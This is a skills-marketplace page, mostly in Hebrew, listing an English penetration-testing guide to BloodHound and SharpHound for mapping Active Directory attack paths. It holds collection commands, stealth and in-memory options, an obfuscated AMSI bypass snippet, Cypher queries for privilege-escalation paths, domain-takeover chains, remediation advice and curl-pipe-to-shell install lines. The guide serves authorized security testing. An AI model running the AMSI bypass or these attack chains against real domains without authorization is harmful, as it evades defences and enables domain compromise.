performing-active-directory-bloodhound-analysis
Use BloodHound and SharpHound (or AzureHound) to enumerate Active Directory
v1.03 התקנות+3 ב-7 ימים36.3K כוכביםApache-2.0סונכרן לפני 12 שעות
התקנה
עדיין אין לכם את ה-CLI של NotHoly? התקינו אותו קודם.
$ curl -fsSL https://notholy.com/install.sh | sh$ notholy skills install mukul975/performing-active-directory-bloodhound-analysisנכתב אל ~/.notholy/skills אחרי בדיקת החתימה וה-SHA-256.
חתימהחתום, ed25519
חבילה7811276a…70eff480
7811276a4019…adba70eff4808 קבצים · 16.6 KBסריקהבינוני3 ממצאים
- סקריפט הרצה שמגיע עם הסקילscripts/agent.py
- סקריפט הרצה שמגיע עם הסקילscripts/process.py
- קישורים לדומיינים חיצוניים
מקורgithub.com/mukul975/Anthropic-Cybersecurity-Skills/tree/main/skills/performing-active-directory-bloodhound-analysis@54a7988
הפריט הזה עדיין לא נכתב בעברית, ולכן הוא מוצג בשפה אחרת: English.
בעמוד הזה
Overview
BloodHound is an open-source Active Directory reconnaissance tool that uses graph theory to reveal hidden relationships, attack paths, and privilege escalation opportunities within AD environments. By collecting data with SharpHound (or AzureHound for Azure AD), BloodHound visualizes how an attacker can escalate from a low-privilege user to Domain Admin through chains of misconfigurations, group memberships, ACL abuses, and trust relationships. MITRE ATT&CK classifies BloodHound as software S0521.
When to Use
- When conducting security assessments that involve performing active directory bloodhound analysis
- When following incident response procedures for related security events
- When performing scheduled security testing or auditing activities
- When validating security controls through hands-on testing
Prerequisites
- Initial foothold on a domain-joined Windows system (or valid domain credentials)
- BloodHound CE (Community Edition) or BloodHound Legacy 4.x installed
- SharpHound collector (C# binary or PowerShell module)
- Neo4j database (Legacy) or PostgreSQL (CE)
- Network access to domain controllers (LDAP TCP/389, LDAPS TCP/636)
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
MITRE ATT&CK Mapping
| Technique ID | Name | Tactic |
|---|---|---|
| T1087.002 | Account Discovery: Domain Account | Discovery |
| T1069.002 | Permission Groups Discovery: Domain Groups | Discovery |
| T1018 | Remote System Discovery | Discovery |
| T1482 | Domain Trust Discovery | Discovery |
| T1615 | Group Policy Discovery | Discovery |
| T1069.001 | Permission Groups Discovery: Local Groups | Discovery |
Step 1: Data Collection with SharpHound
SharpHound.exe (Preferred for OPSEC)
# Collect all data types (Users, Groups, Computers, Sessions, ACLs, Trusts, GPOs)
.\SharpHound.exe -c All --outputdirectory C:\Temp --zipfilename bloodhound_data.zip
# Stealth mode - collect only structure data (no session enumeration)
.\SharpHound.exe -c DCOnly --outputdirectory C:\Temp
# Collect with specific domain and credentials
.\SharpHound.exe -c All -d corp.local --ldapusername svc_enum --ldappassword Password123
# Loop collection - collect sessions over time for better coverage
.\SharpHound.exe -c Session --loop --loopduration 02:00:00 --loopinterval 00:05:00
# Collect from Havoc C2 Demon session (in-memory)
dotnet inline-execute /tools/SharpHound.exe -c All --memcache --outputdirectory C:\TempInvoke-BloodHound (PowerShell)
# Import and run
Import-Module .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Temp -ZipFileName bh.zip
# AMSI bypass before loading (if needed) — strings split to avoid AV signature matching
$t = 'System.Management.Automation.Am' + 'siUtils'
[Ref].Assembly.GetType($t).GetField(('am' + 'siInitFailed'),'NonPublic,Static').SetValue($null,$true)AzureHound (Azure AD)
# Collect Azure AD data
azurehound list -t <tenant-id> --refresh-token <token> -o azure_data.json
# Or using AzureHound PowerShell
Import-Module .\AzureHound.ps1
Invoke-AzureHoundStep 2: Import Data into BloodHound
BloodHound CE (v5+)
# Start BloodHound CE with Docker
curl -L https://ghst.ly/getbhce | docker compose -f - up
# Access web interface at https://localhost:8080
# Default credentials: admin / bloodhound
# Upload ZIP file via GUI: Upload Data > Select FileBloodHound Legacy
# Start Neo4j
sudo neo4j start
# Access Neo4j at http://localhost:7474 (default neo4j:neo4j)
# Start BloodHound GUI
./BloodHound --no-sandbox
# Drag and drop ZIP file into BloodHound GUIStep 3: Attack Path Analysis
Pre-Built Queries (Most Critical)
-- Find all Domain Admins
MATCH (n:Group) WHERE n.name =~ '(?i).*domain admins.*' RETURN n
-- Shortest path from owned user to Domain Admin
MATCH p=shortestPath((u:User {owned:true})-[*1..]->(g:Group {name:'DOMAIN [email protected]'}))
RETURN p
-- Find Kerberoastable users with path to DA
MATCH (u:User {hasspn:true})
MATCH p=shortestPath((u)-[*1..]->(g:Group {name:'DOMAIN [email protected]'}))
RETURN p
-- Find AS-REP Roastable users
MATCH (u:User {dontreqpreauth:true}) RETURN u.name, u.displayname
-- Users with DCSync rights
MATCH p=(n1)-[:MemberOf|GetChanges*1..]->(u:Domain)
MATCH p2=(n1)-[:MemberOf|GetChangesAll*1..]->(u)
RETURN n1.name
-- Find computers where Domain Users are local admin
MATCH p=(m:Group {name:'DOMAIN [email protected]'})-[:AdminTo]->(c:Computer) RETURN p
-- Find unconstrained delegation computers
MATCH (c:Computer {unconstraineddelegation:true}) RETURN c.name
-- Find constrained delegation abuse paths
MATCH (u) WHERE u.allowedtodelegate IS NOT NULL RETURN u.name, u.allowedtodelegate
-- GPO abuse paths
MATCH p=(g:GPO)-[r:GpLink]->(ou:OU)-[r2:Contains*1..]->(c:Computer)
RETURN p LIMIT 50
-- Find all sessions on high-value targets
MATCH (c:Computer)-[:HasSession]->(u:User)-[:MemberOf*1..]->(g:Group {highvalue:true})
RETURN c.name, u.name, g.nameCustom Cypher Queries
-- Find users with GenericAll on other users (password reset path)
MATCH p=(u1:User)-[:GenericAll]->(u2:User) RETURN u1.name, u2.name
-- Find WriteDACL paths (ACL abuse)
MATCH p=(n)-[:WriteDacl]->(m) WHERE n<>m RETURN p LIMIT 50
-- Find AddMember rights to privileged groups
MATCH p=(n)-[:AddMember]->(g:Group {highvalue:true}) RETURN n.name, g.name
-- Map trust relationships
MATCH p=(d1:Domain)-[:TrustedBy]->(d2:Domain) RETURN d1.name, d2.name
-- Find service accounts with admin access
MATCH (u:User {hasspn:true})-[:AdminTo]->(c:Computer) RETURN u.name, c.nameStep 4: Common Attack Paths
Path 1: Kerberoasting to DA
User (owned) -> Kerberoastable SVC Account -> Crack Hash -> SVC is AdminTo Server ->
Server HasSession DA -> Steal Token -> Domain AdminPath 2: ACL Abuse Chain
User (owned) -> GenericAll on User2 -> Reset Password -> User2 MemberOf ->
IT Admins -> AdminTo DC -> Domain AdminPath 3: Unconstrained Delegation
User (owned) -> AdminTo Server (Unconstrained Delegation) ->
Coerce DC Auth (PrinterBug/PetitPotam) -> Capture TGT -> DCSyncPath 4: GPO Abuse
User (owned) -> GenericWrite on GPO -> Modify GPO -> Scheduled Task on OU Computers ->
Code Execution as SYSTEMStep 5: Remediation Recommendations
| Finding | Risk | Remediation |
|---|---|---|
| Kerberoastable DA | Critical | Use gMSA, rotate passwords, AES-only |
| Unconstrained Delegation | Critical | Migrate to constrained/RBCD delegation |
| Domain Users local admin | High | Remove DA from local admin, use LAPS |
| Excessive ACL permissions | High | Audit and reduce GenericAll/WriteDACL |
| Stale admin sessions | Medium | Implement session cleanup, restrict RDP |
| Cross-domain trust abuse | High | Review trust direction and SID filtering |
References
- BloodHound GitHub: https://github.com/BloodHoundAD/BloodHound
- BloodHound CE: https://github.com/SpecterOps/BloodHound
- SharpHound: https://github.com/BloodHoundAD/SharpHound
- MITRE ATT&CK S0521: https://attack.mitre.org/software/S0521/
- SpecterOps BloodHound Documentation: https://bloodhound.readthedocs.io/
הקבצים בגרסה הזו
assets/13.6 KB
- template.md3.6 KB
references/311.4 KB
- api-reference.md1.5 KB
- standards.md2.3 KB
- workflows.md7.6 KB
scripts/223.5 KB
- agent.py7.1 KB
- process.py16.4 KB
- LICENSE11.0 KB
- SKILL.md8.1 KB
הרשאות
| הרשאה | הוצהר | נמצא בסריקה |
|---|---|---|
| קורא קבצים | לא | לא |
| כותב קבצים | לא | לא |
| מריץ פקודות shell | כן | כן |
| משתמש ברשת | כן | כן |
| משתמש במחברים | לא | לא |
| שולט בדפדפן | לא | לא |
ממצאי הסריקה
נבדק ב-13 בנוב׳ 2026
- בינוניתקובץ · סקריפט הרצה שמגיע עם הסקילscripts/agent.py
- בינוניתקובץ · סקריפט הרצה שמגיע עם הסקילscripts/process.py
- מידעקישור · קישורים לדומיינים חיצוניים
סריקה נקייה מורידה את הסיכון, אבל לא מוכיחה שהחבילה בטוחה. כדאי לקרוא מה מתקינים.
| גרסה | פורסמה | Commit | SHA-256 | חתימה | שינוי בהרשאות |
|---|---|---|---|---|---|
| v1.0 | 13 בנוב׳ 2026 | 54a7988 | 7811276a | חתומה | – |
עוד מ-mukul975
הכול מהמפרסם הזה- testing-for-xml-injection-vulnerabilitiesmukul975/testing-for-xml-injection-vulnerabilities5
- testing-for-sensitive-data-exposuremukul975/testing-for-sensitive-data-exposure5
- performing-jwt-none-algorithm-attackmukul975/performing-jwt-none-algorithm-attack5
- detecting-aws-credential-exposure-with-trufflehogmukul975/detecting-aws-credential-exposure-with-trufflehog5
עוד בקטגוריה Active Directory ו-Windows
לקטגוריה- offensive-windows-mitigationssnailsploit/offensive-windows-mitigations4
- active-directory-attack-pathssecurityskills/active-directory-attack-paths3
- analyzing-powershell-script-block-loggingmukul975/analyzing-powershell-script-block-logging3
- offensive-windows-boundariessnailsploit/offensive-windows-boundaries3
- evil-winrmaeondave/evil-winrm3
- bloodyadaeondave/bloodyad3
שאלו כל מה שהסקופ מאפשר.
יוצרים חשבון, מוסיפים קרדיטים ושואלים את השאלה הראשונה בצ׳אט או בטרמינל.
- 1/3
יצירת חשבון
פרטי או חברה. אפשר לעבור לחשבון חברה אחר כך בלי לאבד יתרה או מפתחות.
פרטיחברה - 2/3
הוספת קרדיטים
בכרטיס אשראי. תשלום לפי טוקן, בלי מנוי.
$5.00טעינה מינימלית - 3/3
שאלה ראשונה
בצ׳אט, או להתקין את ה-CLI ולהריץ notholy login בטרמינל.
$ notholy login